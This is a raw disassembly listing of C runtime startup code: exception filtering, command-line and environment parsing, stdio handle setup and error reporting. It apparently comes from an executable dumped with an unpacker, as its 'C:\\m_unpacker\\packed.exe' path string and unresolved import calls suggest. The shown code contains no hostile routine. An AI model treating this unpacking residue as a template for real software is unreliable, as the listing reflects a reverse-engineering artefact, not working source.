		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C900h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C97C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C97C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C97C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C97C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C97C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C97C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C97C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C97C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C97C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C97C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB380, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 26305C9h
		nop

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8F8, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC954, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC94C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB318
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2D0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB318
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB318
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB318, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC950, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		mov	eax, dword_4DC94C
		mov	off_4DB2E0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB2C8, esi
		pop	edi
		pop	esi
		mov	dword_4DB2C4, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB488
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB488, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 26302A7h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB488, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2630491h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 26302A7h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 26304B4h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC600, esi
		mov	dword_4DC700, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC600
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC700, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC604

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC700, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC700, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC700

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2620759h
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC600
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		call	near ptr 2630000h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2620759h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC700
		nop
		call	near ptr 26301D2h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2F4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB48C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C988

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43CA18
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C988[esi]
		jnz	loc_423719
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2F4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
